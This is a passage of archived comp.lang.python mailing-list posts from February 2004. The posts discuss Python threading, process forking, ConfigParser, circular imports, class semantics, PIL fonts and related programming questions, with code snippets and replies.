>         print >> sys.stderr, "File could not be opend:", message
>         sys.exit(1)
>     data = file.readlines() # array with html-doc-content
>     file.close()
> 



From max at NcOviSsPiAoMntech.com  Tue Feb 10 16:49:50 2004
From: max at NcOviSsPiAoMntech.com (max khesin)
Date: Tue, 10 Feb 2004 21:49:50 GMT
Subject: help! multi-threading problem on hyperthreading smp linux server
In-Reply-To: <2004021012361076434601@k2.sage.att.com>
References: <402901C2.00000B.04040@PIGPEN>
	<2004021012361076434601@k2.sage.att.com>
Message-ID: <2mcWb.9183$Lp.1693@twister.nyc.rr.com>

GIL = Global interpreter lock. It shold cause trouble on SMP. As someone 
recently mentioned, Jython does not have it, so you have options.


Garry Hodgson wrote:

> a colleague of mine has seen an odd problem in some code of ours. 
> we initially noticed it on webware, but in distilling a test case it seems
> to be strictly a python issue.  in the real system, it manifests as
> webware just locking up, for no apparent reason, until we kill it.
> we've also had the python interpreter running webware die on occasion.
> it works fine on our desktop linux and windows machines, but fails 
> on the production hardware.  the main difference being that the 
> production hardware is a dual Xenon machine with
> hyperthreading enabled.
> 
> has anyone run into problems like this, or have any clues what
> the problem might be?  we pushed pretty hard on a skeptical 
> project manager to get python and webware accepted for this
> project, and it's embarrassing to have it acting flaky.
> 
> i'd really appreciate any insight anyone's got on this.  we need
> to resolve it quickly.  mike's description of the test case follows.
> 
> thanks
> 
> 
> "Michael W. Balk" wrote:
> 
> 
>>You asked me yesterday to give you some info on the multi-threading problem
>>so that you could post a query on comp.lang.python.
>>
>>Here is what I know so far.
>>
>>The machine has two Xenon CPUs, both with hyper-threading enabled.
>>The linux kernel running is:  2.4.20-8smp
>>
>>The pure python test I ran did the following:
>>
>>Starts up 50 threads (using the threading module).
>>Each thread calculates 500 random numbers and writes them to a file,
>>repeating this 50 times to generate 50 output files.  So there are 2500
>>files expected once all 50 threads complete.
>>
>>The observation is that only a few threads actually produce output files,
>>and none of those threads produce all 50 of the files they are to generate.
>>
>>The main thread does a join on each of the 50 threads sequentially, so that
>>after the last thread completes, then the program should exit.  However, the
>>observation is that the main thread never exits, presumably since it has
>>joined to a child thread whose run() method never returns.
>>
>>Now if I change the test so that a single thread runs the test 50 times
>>sequentially, all expected files are produced and the program terminates normally.
> 
> 
> 
> ----
> Garry Hodgson, Technology Consultant, AT&T Labs
> 
> Be happy for this moment.
> This moment is your life.
> 


From matt_crypto at yahoo.co.uk  Thu Feb  5 08:50:57 2004
From: matt_crypto at yahoo.co.uk (Matt)
Date: 5 Feb 2004 05:50:57 -0800
Subject: Bitsets in Python
References: <pan.2004.02.03.17.36.10.927614@presidency.com>
	<bvpqlt$82s$3@news.service.uci.edu>
Message-ID: <94b59a36.0402050550.442a93d1@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote:
> >   does Python have any native support for bitsets? I dont seem to see
> >   anything in the standard library?
> 
> What do you mean 'bitsets'?  Give a list of functionality of your 
> 'bitsets', and it will be easy for us to tell you whether Python 
> includes it.

BitSets crop up in (at least) C++ and Java. They allow you operate on
a sequence of bits using a friendlier interface than hacking about
with ^,|,& et al on integers. The Java BitSet interface:

http://java.sun.com/j2se/1.4.1/docs/api/java/util/BitSet.html

I can't find anything like it in the standard library (If I've
overlooked it, I'd be chuffed to find out I'm wrong!). The OP might
find the following Cookbook recipe useful, though:

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/219300

(At least I think so, I can't access the site at the moment...)

Matt


From alessandro at sephiroth.it  Sat Feb 21 13:23:31 2004
From: alessandro at sephiroth.it (Alessandro Crugnola *sephiroth*)
Date: Sat, 21 Feb 2004 18:23:31 GMT
Subject: peak levels from mp3
Message-ID: <DmNZb.3142$IT2.126129@news4.tin.it>

Hi all,
i would like to know if there is some kind of py library which can read the peak levels from an mp3 file source.

Thanks in advance




From bnet at ifrance.com  Sun Feb  8 06:36:25 2004
From: bnet at ifrance.com (Benoit Dejean)
Date: Sun, 08 Feb 2004 12:36:25 +0100
Subject: fork, exec, and disown
Message-ID: <pan.2004.02.08.11.36.25.192799@ifrance.com>

hello, i have a question about forking processes

atm, i have some code which i want to rewrite

	os.system("cd ~ && exec " + cmd + " & disown")


i want to remove this os.system call


def fork_exec_disown(cmd, dir="~"):

    if os.fork()==0:

        os.chdir(os.path.expanduser(dir))
        os.setsid()
        os.umask(0)
    
        if os.fork():
           sys.exit(0)

        cmd = cmd.split()
        os.execvp(cmd[0], cmd)
        
  
      
but i am not sure that this have the same behaviour.

is the second fork needed ? i think so to detach the spawn process
i have found in the os doc, os.setsid, i think i have to use it.


am i going wrong or is this simple


def fork_exec_disown(cmd, dir="~"):

    if os.fork()==0:
        os.chdir(os.path.expanduser(dir))   
        cmd = cmd.split()
        os.execvp(cmd[0], cmd) 
        
a good replacement for my os.system call

thank you


From Scott.Daniels at Acm.Org  Mon Feb  9 16:43:18 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Mon, 09 Feb 2004 13:43:18 -0800
Subject: Searching
In-Reply-To: <102fauct3hc3lcc@corp.supernews.com>
References: <102fauct3hc3lcc@corp.supernews.com>
Message-ID: <40280886$1@nntp0.pdx.net>

ADE wrote:

> Hi I was wondering if one of you could help me out
You are missing info on your system and python version.
If you are running 2.3 or later:
>...
>             for name in files:
 >                 name = name.lower()    # if on windows
>                 if name.endswith('.jpg') and 'ocean' in name:
>                     filenames['jpg'].append(os.path.join(root, name))
>                     self.listbox1.insert(END, name)
>                 elif name.endswith('.gif') and 'ocean' in name:
>                     filenames['gif'].append(os.path.join(root, name))
>                     self.listbox1.insert(END, name)

-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From peter at engcorp.com  Mon Feb 16 17:45:47 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 16 Feb 2004 17:45:47 -0500
Subject: overriding method that returns base class object
References: <4031441c$0$202$75868355@news.frii.net>
Message-ID: <4031481B.90B31C73@engcorp.com>

Stuart McGraw wrote:
> 
> I have a class A from a third party that I cannot change
> and is implemented in C.  I derive my own class B from A
> and add a couple new methods and override a method.  The
> problem is that A has a method (call it A.f() ) that creates
> and returns a new A object.  I need B.f() to return a B
> object derived from A.f().  What is the best way to make
> that happen?

If I understand this correctly, it has nothing to do with the
fact that the parent class is implemented in C and you just
need to know a little uncommon syntax:

class A:
    def f(self):
        return A()

class B(A):
    def f(self):
        obj = A.f(self)
        # do whatever you want to obj here
        return obj

The key is what you mean by "a B object derived from A.f()".  If
by derived you mean something to do with _inheritance_, then 
either you don't understand inheritance or you weren't clear what
you wanted.

If you just mean you want B's f() to do something special to the 
A object that A.f() returns, then the above code should let you
do that properly...

-Peter


From bob at redivi.com  Thu Feb 26 02:55:10 2004
From: bob at redivi.com (Bob Ippolito)
Date: Thu, 26 Feb 2004 02:55:10 -0500
Subject: print in multithreaded environement ???
References: <5c184570.0402250756.1715ee17@posting.google.com>
	<c1j7an$o67$1@news.service.uci.edu>
	<403d857d$0$13852$ba620e4c@news.skynet.be>
Message-ID: <2004022602551016807%bob@redivicom>

On 2004-02-26 00:37:23 -0500, vincent_delft at yahoo.com said:

> Thanks Josiah for the answer.
> but in my case each thread will have his own buffer and stdout will be
> redirect to it.
> 
> Following your example, I think that what I'm talking about should be like
> this :
> import time
> from threading import Thread
> import sys
> def funct(i):
>      fid=open('/tmp/tt%s.tt' % i,'w')
>      sys.stdout=fid
>      for j in xrange(50):
>         print i,j,
>         time.sleep(0)
>      fid.close()
> for i in xrange(50): Thread(target=funct, args=(i,)).start()
> 
> If I run it, I've the result I expected: counter from 0 to 49 in each file.
> Thus sys.stdout is not a shared object between each thread. It's his
> redirection to the console which is common. Thus, problems occurs when 
> we link it to a shared output (like a console or
> single output file).
> 
> Am I correct ?

What you actually want to try and do is:

print >>fid, i, j,

Using a global output for multiple threads at the same time is an 
absolutely awful idea..

dont_try_this_at_home = """
it is possible to make sys.stdout a special kind of object that writes 
to different streams depending on the thread id, or at least I would 
assume so because I have done it for stackless tasklets.  However, the 
*only* reason I did it that way because what I was writing was an 
multi-interpreter GUI environment, so the print statements and 
sys.stdout were something I did not have any control over.

In either case, I learned a lesson trying to do this:

Python (short of PyPy) is not capable of doing in-process 
"sub-interpreters"  for arbitrary code in any reliable way.

If I were to hack at it again, I would rip that out and emulate IDLE.  
It spawns a new process for each interpreter and communicates with it 
over some kind of file descriptor (socket, pipe, etc.).  This is more 
scalable anyway, because Python has the dreaded GIL.
"""

My general rule is to avoid threads whenever possible, because in many 
cases they aren't going to be faster anyway (unless their primary 
function is to call a C function that releases the GIL, like maybe 
communicating with a blocking database library) and that it is hard to 
debug threaded programs that aren't working quite right.  If you don't 
like writing asynchronous code explicitly, look into Stackless Python ;)

-bob



From steve at ninereeds.fsnet.co.uk  Sat Feb 21 18:08:08 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Sat, 21 Feb 2004 23:08:08 +0000
Subject: class vs function ???
References: <1c764367.0402210857.579f59ab@posting.google.com>
Message-ID: <iulf305lbp06lo3s428ed2v86p1vmcde8j@4ax.com>

On 21 Feb 2004 08:57:44 -0800, gveda at iitk.ac.in (Gaurav Veda) wrote:

>Hi !
>
>I am a poor mortal who has become terrified of Python. It seems to
>have thrown all the OO concepts out of the window. Penniless, I ask a
>basic question :
>What is the difference between a class and a function in Python ???

Lots. However, there are shared ideas which are generally very useful.

Clearly you have spotted that the body source code of a class is
normal code, rather than some alternate 'definition block syntax'.
It's execution builds the class. This is a very simple yet powerful
concept, and very appropriate to a scripting language.

But the similarity in your code snippets is a carefully constructed
illusion. You claim the function 'c1' is equivalent to the class 'c1',
but it is not. The body of function 'c1' only executes because you
called it. The body of class 'c1' executes in order to define the
class - you didn't instantiate it at all.

Being able to use print statements in within the class definition is,
BTW, convenient for debugging, but wouldn't normally be done in
deliverable code. As for calling a just-defined member function within
the definition of a class - well, that's pretty strange. But just
because something is rarely done, it doesn't mean it should be
illegal. At the very least, it could be useful for assertions and
other debug checks.

As for the error with 'c' - of course it's an error in both, and the
same error as in both cases there is no identifier 'c' in scope at the
point of the print statement. The fact that neither block of code
created a suitable identifier is not very strange - there are an
infinite number of ways of writing a block of code that doesn't define
a global 'c' ;-)

However, your two cases are still completely different when you look
at the 'c' identifiers that you did define. In the first case, 'c' is
a local variable in the function - it no longer exists after the call
is completed. In the second case, 'c' is a member variable in the
class - it still exists, but as you did not use the dot notation in
the print statement you are not referencing the member field.


Similarly, I could observe that the following three expressions give
the same result...

>>> 2+2
4
>>> 2*2
4
>>> 2**2
4

I can even get essentially the same errors out of those operators...

>>> class a :
...   pass
...
>>> a+a
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: unsupported operand type(s) for +: 'classobj' and
'classobj'
>>> a*a
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: unsupported operand type(s) for *: 'classobj' and
'classobj'
>>> a**a
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: unsupported operand type(s) for ** or pow(): 'classobj' and
'classobj
'

That does not mean, however, that addition, multiplication and raising
to a power are the same thing. These are just carefully selected
special cases of the use and abuse of those operators. Which is ok, if
you enjoy playing with such things ;-)


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From deets_noospaam at web.de  Sat Feb  7 15:33:50 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Sat, 07 Feb 2004 21:33:50 +0100
Subject: Basic 'import' problem
References: <c03aeb$12q8$1@ns.felk.cvut.cz>
Message-ID: <c03i3f$3v4$03$1@news.t-online.com>

> I think I grasp why I got this error (file2.hello2() is referenced
> before its definition was "compiled" by Python) but I am puzzled as to
> how to do this properly. Isn't it fairly common for two source files to
> reference each other in this way? I know I can solve this by putting the
> import statement after the def statement, but I have the similar problem
> in much larger project, with many files and many includes and I'd like
> to keep all my includes at the beginning of the file.

First of all, don't use the name "file" - your are shadowing the type file
with it. 

Now to your problem: Its perfectly legal to have circular dependencies at
declaration level - thus this works in python:

def foo():
   bar()

def bar():
   if moon_is_in_the_third_house:
       foo()

In C, you had to define a prototype of bar, so that foo can use it.

But what you try is to already execute code from file in file2 _while_
importing file2 inside file, because you have statements on the
module-level - and that can't work. And I doubt that a language exists
where thats possible.

-- 
Regards,

Diez B. Roggisch


From mwh at python.net  Tue Feb  3 05:06:12 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 3 Feb 2004 10:06:12 GMT
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<401d5562$0$318$e4fe514c@news.xs4all.nl>
	<bvmmn5$t5a$1@news.rz.uni-karlsruhe.de>
Message-ID: <m3oesgbhpo.fsf@pc150.maths.bris.ac.uk>

Uwe Mayer <merkosh at hadiko.de> writes:

> BTW: when doing m.i. you can't mix new-style and old-style objects, or else
> Python exits with a Segmentation Fault. :)

Uhh, really?  Example please.

Cheers,
mwh

-- 
  Famous remarks are very seldom quoted correctly.
                                                    -- Simeon Strunsky


From CousinStanley at hotmail.com  Tue Feb 10 18:37:36 2004
From: CousinStanley at hotmail.com (Cousin Stanley)
Date: Tue, 10 Feb 2004 16:37:36 -0700
Subject: fonts in PIL ?
References: <Xns9489E52CDD393stefninnospamyahoofr@213.228.0.4>
	<c08b7s$13ui42$1@ID-130333.news.uni-berlin.de>
	<Xns948ABF759C2E3stefninalussinanorg@212.27.42.68>
	<c095tk$14c642$1@ID-130333.news.uni-berlin.de>
	<Xns948B939DCC8F5stefninalussinanorg@212.27.42.72>
Message-ID: <c0bpqf$13v1eo$1@ID-130333.news.uni-berlin.de>

| Well, it works just fine, thanks again.

  You're welcome ....

| Where did you find all these options ?

  The  PIL  documentation I have is in a  PDF  file
  that I think came from the following link ....

     http://www.pythonware.com/products/pil/pil-handbook.pdf

  I don't know if the  PDF  version is still there 
  and if it is, wheter or not if is in sync ( older or newer than )
  with  HTML  version  from the link you gave 
 
     http://www.pythonware.com/library/pil/handbook/index.htm      

  Those two sources are the only ones I have ....

-- 
Cousin Stanley
Human Being
Phoenix, Arizona



From r.byrom at rl.ac.uk  Tue Feb 10 09:29:53 2004
From: r.byrom at rl.ac.uk (byrom)
Date: 10 Feb 2004 14:29:53 +0000
Subject: Parsing files
In-Reply-To: <16424.60142.213921.37176@montanaro.dyndns.org>
References: <A5AF6F04CF7FD311BC5700902773DDC701F65F07@exchange13.rl.ac.uk>
	<16424.56750.41777.193185@montanaro.dyndns.org>
	<1076420233.7117.5.camel@hepntw161.pp.rl.ac.uk>
	<16424.60142.213921.37176@montanaro.dyndns.org>
Message-ID: <1076423392.7117.11.camel@hepntw161.pp.rl.ac.uk>


> I believe ConfigParser (and INI-type files in general) expect all options to
> be grouped into sections.  If you don't need/want sections, why not just add

thats what I think too.

> a [general] section into which you put all your options?  Failing that, you
> could probably fudge things with something like this (untested):
> 
>     import tempfile
>     import ConfigParser
> 
>     def parse_config_file(f):
>         fd, fn = tempfile.mkstemp()
> 
>         # create a temporary config file with a dummy section
>         cfg = os.fdopen(fd)
>         cfg.write("[general]\n")
>         cfg.write(file(f).read())
>         cfg.close()
> 
>         # parse it
>         config = ConfigParser.ConfigParser()
>         config.read(fn)
> 
>         os.unlink(fn)
> 
>         return config
> 

This approach would definitely work. I managed to write quite a simple
parse routine myself:

    def __load(self, configfile):
        
        """ Initialises all variables (as read-in from configfile) """
	    
        configs = {}
        afile = file(configfile, 'rw')
        contents = afile.read().splitlines()
        for aline in contents:
           keyval = string.split(aline, '=')
           if len(keyval) > 1:
               configs[keyval[0]] = keyval[1]
        self.log.debug('properties read-in: %s ' % configs)
        return configs

And it returns a dictionary of all key-values pairs. Its not exactly
robust but it does the job :) 

anyway, thanks for your help!

Rob





From http  Tue Feb 17 20:18:48 2004
From: http (Paul Rubin)
Date: 17 Feb 2004 17:18:48 -0800
Subject: IP list generation
References: <mailman.93.1077065872.31398.python-list@python.org>
Message-ID: <7x8yj1yykn.fsf@ruckus.brouhaha.com>

Stephen Briley <sdb1031 at yahoo.com> writes:
> By in between I mean increment the first ip address by
> 1 until the end ip address is reached.  For example, 
> a range of 10.0.0.1 - 10.0.0.5 would print:
> 10.0.0.2
> 10.0.0.3
> 10.0.0.4

You're not a spammer looking for open SMTP relays or something like
that, are you?  You're beginning to sound like one.


From joe at notcharles.ca  Tue Feb 10 13:08:05 2004
From: joe at notcharles.ca (Joe Mason)
Date: Tue, 10 Feb 2004 18:08:05 GMT
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
	<mailman.1398.1076388640.12720.python-list@python.org>
Message-ID: <slrnc2i5ut.7jp.joe@gate.notcharles.ca>

In article <mailman.1398.1076388640.12720.python-list at python.org>, Terry Reedy wrote:
>> Just asking for a bit of guidance. If my program works, should it be
>> re-written to use functions or classes?
> 
> Working correctly is most important.  Next is running fast enough.  Then
> you can consider whether you or another person can read, edit, or reuse six
> months from now.  As for rewriting, would *you* gain some personal benefit
> from doing so?

Not true.  I would say being able to read, edit and reuse is most
important, then working correctly, then running fast enough.  Because
there are always going to be bugs that you don't find for a few months,
so even if you think it works correctly, you're probably wrong.  As for
working fast enough, being able to read the code makes it  much easier
to optimize it later IF you find out you have to.

Joe


From grelens at NOSPAMyahoo.NOTNEEDEDfr  Thu Feb  5 15:58:02 2004
From: grelens at NOSPAMyahoo.NOTNEEDEDfr (GrelEns)
Date: Thu, 5 Feb 2004 21:58:02 +0100
Subject: split a string and build tuple
Message-ID: <4022acc0$0$2959$626a54ce@news.free.fr>

hello,

i'm looking for a pythonic and obvious way to do the following :

having a string space separated like : s = "w1 w2 w3 w4 w5 w6 w7 w8..."
how to get : l = (('w1', 'w2', 'w3'), ('w4', 'w5', 'w6'), ('w7', 'w8', ...),
...) ?
(a kind of splitting and grouping in an elegant way)

i think that list comprehension or "zip" could maybe help but i just can't
get it work,

thanks.




From M.Waack at gmx.de  Tue Feb 17 16:33:39 2004
From: M.Waack at gmx.de (Mathias Waack)
Date: Tue, 17 Feb 2004 22:33:39 +0100
Subject: editing a config file
References: <9d302332.0402171214.5df86ca2@posting.google.com>
Message-ID: <judag1-ll3.ln1@valpo.de>

Mike Zupan wrote:

> I need to edit the value(s) of a config file via a GUI interface.
> I'm trying to use ConfigParser but set() doesn't seem to write.
> 
> Here are my reading and writing functions
> 
> def getConfig(self,value=None):
> config = ConfigParser.ConfigParser()
> config.readfp(open('config.inf'))
> return config.defaults()[value]
> 
> def setConfig(self, option, value):
> config = ConfigParser.ConfigParser()
> config.readfp(open('config.inf', 'a'))
> config.set("DEFAULT", option, value)
> 
> The values are getting passed ok it just won't set the value to the
> new value i have selected.
> 
> can anyone offer any hints?

Maybe you're simply missing a config.write('config.inf')?

Mathias


From tdelaney at avaya.com  Tue Feb 24 19:13:00 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Wed, 25 Feb 2004 11:13:00 +1100
Subject: Nostalgic instruction sequences (Re: Python Productivity Gain?)
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE01378641@au3010avexu1.global.avaya.com>

> From: Gordon Airport
> 
> > SETW 0 a9f4
> > G 0
> > 
> > anyone?  (memory said a9f0 first, corrected by google).
> > 
> > Cheers,
> > mwh
> 
> I used someting similar to his to hack Macintoshes in high 
> school: SM 0 
> a9f4, G 0, entered at the magic h4X0r prompt. I have no idea 
> what it's 
> actually doing, but you could bypass At Ease with it ;-)

Ah - I knew a9f4 was familiar. It was 'ExitToShell' (IIRC).

So you were setting memory location 0 to the address of 'ExitToShell' using Macsbug, then executing that function. The result was to kill the current application.

Fun stuff.

Tim Delaney



From bart_nessux at hotmail.com  Mon Feb 23 13:48:26 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Mon, 23 Feb 2004 13:48:26 -0500
Subject: if statements with or w/o else statements
In-Reply-To: <c1d63c$bf0$00$1@news.t-online.com>
References: <c1cvan$80l$1@solaris.cc.vt.edu>
	<c1d63c$bf0$00$1@news.t-online.com>
Message-ID: <c1dhtq$49v$1@solaris.cc.vt.edu>

Peter Otten wrote:
> Bart Nessux wrote:
> 
> 
>>Should an if statement have a corresponding else statement? Or, is it OK
>>to have an if statement by itself. For completeness, it seems the two
>>should be together, but from experience I know that a if statement by
>>itself works just fine. Below is an example:
>>
>>if x >=0:
>>    DO SOMETHING
>>
>>Would it be better, or perhaps more complete, written like this:
>>
>>if x >=0:
>>    DO SOMETHING
>>else:
>>    DO SOMETHING ELSE
> 
> 
> No direct answer, but a good way to learn about this kind of questions is to
> study real code, and the best way to learn from the masters would probably
> be to look into the python library.
> 
> Now, from the pointless statistics department, a little script that counts
> occurences of both if and if...else:
> 
> <ifstats.py>
> #!/usr/bin/env python
> """ Analyse if statements in python scripts
> """
> __author__ = "Peter Otten"
> __category__ = "Pointless statistics"
> 
> import compiler
> 
> class IfStats:
>     def __init__(self):
>             self.total = 0
>             self.withElse = 0
>     def __str__(self):
>             return "%d of %d if statements have an else branch" %
> (self.withElse, self.total)
>     def visitIf(self, node):
>             self.total += 1
>             if node.else_:
>                     self.withElse += 1
> 
> if __name__ == "__main__":
>     import os, sys, optparse
>     parser = optparse.OptionParser(
>         usage="usage: \%ifstats [-v] [-r] folder1 ... folderN",
>         description="scan python scripts for if statements with or without
> else branch")
>     parser.add_option("-v", "--verbose", action="store_true",
>         help="print info about every processed file")
>     parser.add_option("-r", "--recursive", action="store_true",
>         help="recursively collect files")
>     options, args = parser.parse_args()
> 
>     totalFiles = 0
>     totalIf = 0
>     totalWithElse = 0
>     failed = 0
>     for root in args:
>         for path, folders, files in os.walk(root):
>             for fn in files:
>                 if fn.endswith(".py"):
>                     fp = os.path.join(path, fn)
>                     try:
>                         a = compiler.parseFile(fp)
>                     except:
>                         failed += 1
>                         print >> sys.stderr, "%s --> FAILED" % fp
>                     else:
>                         stats = IfStats()
>                         compiler.walk(a, stats)
>                         if options.verbose:
>                             print "%s --> %s" % (fp, stats)
>                         else:
>                             sys.stdout.write(".")
>                             sys.stdout.flush()
>                         totalIf += stats.total
>                         totalWithElse += stats.withElse
>                         totalFiles += 1
>             if not options.recursive: break
>     print
>     print "%d of %d if statements with else branch" % (totalWithElse,
> totalIf)
>     print "in %d files" % totalFiles
>     if failed:
>         print "parsing failed for %d files" % failed
> </ifstats.py>
> 
> It turns out that only 2039 of 11157 if statements in the standard library
> have an else branch. Now draw your own conclusions...
> 
> Peter
> 

Thanks Peter. That's an easy conclusion to come to.



From michael at foord.net  Fri Feb 13 04:19:11 2004
From: michael at foord.net (Fuzzyman)
Date: 13 Feb 2004 01:19:11 -0800
Subject: Is a File a Subdirectory of Another Directory
Message-ID: <8089854e.0402130119.7c55e9a2@posting.google.com>

I wish to restrict access to a program to certain directories. I also
wish to prevent access to certain directories.

What this means is that given a path, I need to work out if that path
is in a certain directory... or in a subdirectory of that directory.
(On a Linux server).

The only way I can think of so far is to turn both paths into absolute
paths, strip off the filename and compare... is this the most elegant
way ?

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From ken at perfect-image.com  Sun Feb  1 12:47:32 2004
From: ken at perfect-image.com (Ken Godee)
Date: Sun, 01 Feb 2004 10:47:32 -0700
Subject: wxPython documentation
In-Reply-To: <2c60f0e0.0402010147.e225e51@posting.google.com>
References: <401c25a3$0$11357$636a55ce@news.free.fr>
	<2c60f0e0.0402010147.e225e51@posting.google.com>
Message-ID: <401D3BB4.60002@perfect-image.com>

Richard James wrote:
> "Olivier" <olivier.marechal at laposte.net> wrote in message news:<401c25a3$0$11357$636a55ce at news.free.fr>...
> 
>>Where could I find a good documentation about wxPython (a documentation
>>which is not for C++ !!!)
>>
>>Olivier
> 

> If C++ docs are "easy" to convert in your head to Python.
> It does help if YOU KNOW how to program C++ first.

Follow the bouncing ball...

"The Qt c++ doc's are easy to look at and convert over
to PyQt "

I didn't say C++ was easy to convert to python.

The Object-Oriented programming is part of python.

All that's left is looking at and converting
function/method parameters.

Python/PyQt takes care of all the memory/arrays/pointers
  /clean up, etc.

Here's a complete working example in under 20 lines
of code that includes a dialog window, button wigdet,
and signal/slot.

==================================================================
import sys
from qt import *

class Form1(QDialog):

     def __init__(self,parent = None,name = None,modal = 0,fl = 0):
         QDialog.__init__(self,parent,name,modal,fl)

         # Qt C++ Doc = QPushButton::QPushButton \
         # ( QWidget * parent, const char * name =  0 )	 

	
	self.PushButton1 = QPushButton(self,"PushButton1")
	
	# Qt C++ Doc = void QWidget::setGeometry ( const QRect & )
         self.PushButton1.setGeometry(QRect(70,55,84,22))

	# Qt C++ Doc = void QButton::setText ( const QString & )
	self.PushButton1.setText("Close!")	

self.connect(self.PushButton1,SIGNAL("clicked()"),self.PushButton1_clicked)
	
     def PushButton1_clicked(self):
         self.close()

a = QApplication(sys.argv)
w = Form1()
a.setMainWidget(w)
w.show()
w.exec_loop()
==================================================================

> So much for learning Python as a first computer language!
> And if you have to learn C++ first, then why do you need Python?
> 
The debates over writing C++ vs Python are all over
the list.

Even if you know C++ there are many reasons to use python.
You can create a program in less than 1/2 the time for starters.

> Why do all programmers seem to think good documention is optional?
> Or an exercise left to the reader?
> 
"All programmers? I'd say some are just very busy writing code
and if they document thier code properly, you should be good to go.
Companies with backing, writing a program will bring on a technical
writer to produce the docs so the programmers can continue to do
what the do best. Open source is a little different. Just trying to
keep up with everything in your "free" time is hard to do.
Try hosting an open source program and you'll find out.

> Documentation quality tells a lot about the programmer.
> If a programmer can't communicate to his users how his program works.
> It is a warning sign that the program has not been fully designed, but
> hacked together haphazardly.

That's the dumbest thing I read in a while.

> And why would you even want to try and use poorly designed software?

Sounds like you should just be getting your software from compusa.

> 
> Say, like on the Spirit Mars Rover.

I think NASA has a few technical writers.
Of coarse it doesn't say much for the "Meteric vs.US"
measurement snaffu.





From CousinStanley at hotmail.com  Mon Feb  9 11:54:27 2004
From: CousinStanley at hotmail.com (Cousin Stanley)
Date: Mon, 9 Feb 2004 09:54:27 -0700
Subject: fonts in PIL ?
References: <Xns9489E52CDD393stefninnospamyahoofr@213.228.0.4>
	<c08b7s$13ui42$1@ID-130333.news.uni-berlin.de>
	<Xns948AAF915122Astefninalussinanorg@212.27.42.68>
Message-ID: <c08dqm$1411fc$1@ID-130333.news.uni-berlin.de>

| St?phane please, St?phanie is a woman's name here

St?phane .... 

  Sorry for the typo .... 

  Over-clocked fingers  NOT  synchronized with feeble brain .... 

| Thanx for the script, .... 

  You're welcome .... 

-- 
Cousin Stanley
Human Being
Phoenix, Arizona



From fpetermaas at netscape.net  Tue Feb 24 14:14:05 2004
From: fpetermaas at netscape.net (Peter Maas)
Date: Tue, 24 Feb 2004 20:14:05 +0100
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
In-Reply-To: <c1fvln$ghi$1@swifty.westend.com>
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<c14h3s$o2a$1@swifty.westend.com>
	<7x8yiy3y7m.fsf@ruckus.brouhaha.com>
	<c1fvln$ghi$1@swifty.westend.com>
Message-ID: <c1g7op$nck$1@swifty.westend.com>

Peter Maas wrote:
 > do:
 >     <theBody>
 >     breakif <cond>
 >

I forgot the situation

do:
     <Body1>
     breakif <cond>
     <Body2>

I was totally misguided by the term "setup" for <Body1>. In my
understanding a setup happens once like in C's

for(<setup>;<cond>;<next>)
     ...

Mit freundlichen Gruessen,

Peter Maas

-- 
-------------------------------------------------------------------
Peter Maas, M+R Infosysteme, D-52070 Aachen, Hubert-Wienen-Str. 24
Tel +49-241-93878-0 Fax +49-241-93878-20 eMail peter.maas at mplusr.de
-------------------------------------------------------------------


From tim.one at comcast.net  Thu Feb  5 12:00:46 2004
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 5 Feb 2004 12:00:46 -0500
Subject: Smarter way of doing this?
In-Reply-To: <402220D2.7050909@mxm.dk>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEELIMAB.tim.one@comcast.net>

[Max M]
> ...
> I am interrested in getting a result as a propertion of the
> probablilty, or more correctly in this case, the frequency. If I want
> it as probabilities I just have to normalise the sim to 1.0.
>
> This has the advantage that the frequencies can be expressed as
> integers too. This is nice in my Markov chain class that count words
> in text, etc.
>
> In my example below each letter should be occur 50% of the times of
> the previous letter.

...

> probabilities = [16, 8, 4, 2, 1]
> elements = ['a', 'b', 'c', 'd', 'e']

When the weights are integers, a simpler and faster way to proceed is to
build a list containing each element a number of times equal to its weight:

alist = ['a'] * 16 + ['b'] * 8 + ['c'] * 4 + ['d'] * 2 + ['e']

Then just invoke random.choice on the list.  This is a fast, constant-time
weighted selection technique, but consumes space proportional to the sum of
the weights.




From gh at ghaering.de  Fri Feb 20 09:02:05 2004
From: gh at ghaering.de (=?ISO-8859-1?Q?Gerhard_H=E4ring?=)
Date: Fri, 20 Feb 2004 15:02:05 +0100
Subject: Py_Finalize
In-Reply-To: <028201c3f7b8$5e312cb0$2601a8c0@hq.novamens.com>
References: <028201c3f7b8$5e312cb0$2601a8c0@hq.novamens.com>
Message-ID: <4036135D.6080003@ghaering.de>

Pablo Yabo wrote:
> Hi,
> I embeded Python in a C++ application to support some scripts. I start it
> using Py_Initialize() and after using running the scripts I call
> Py_Finalize(). The problem that I experienced is that the memory usage of
> the process doesn't decrease after the Py_Finalize().
> If I call again Py_Initialize() and then load some modules, the memory usage
> increase, but it never decrease when calling Py_Finalize().
> How can I do a complete cleanup of the python heap?

Chances are everything is working fine, but your C library isn't returning freed 
memory to the operating system.

Try runnnig Py_Initialize()/your scripts/Py_Finalize() in a loop. If memory usage 
doesn't increase above a certain maximum, then you don't have any leaks.

-- Gerhard



From http  Wed Feb 18 16:25:40 2004
From: http (Paul Rubin)
Date: 18 Feb 2004 13:25:40 -0800
Subject: ANTI SPAMBOT HUMAN VALIDATION: generare gif da una stringa
	casuale ??
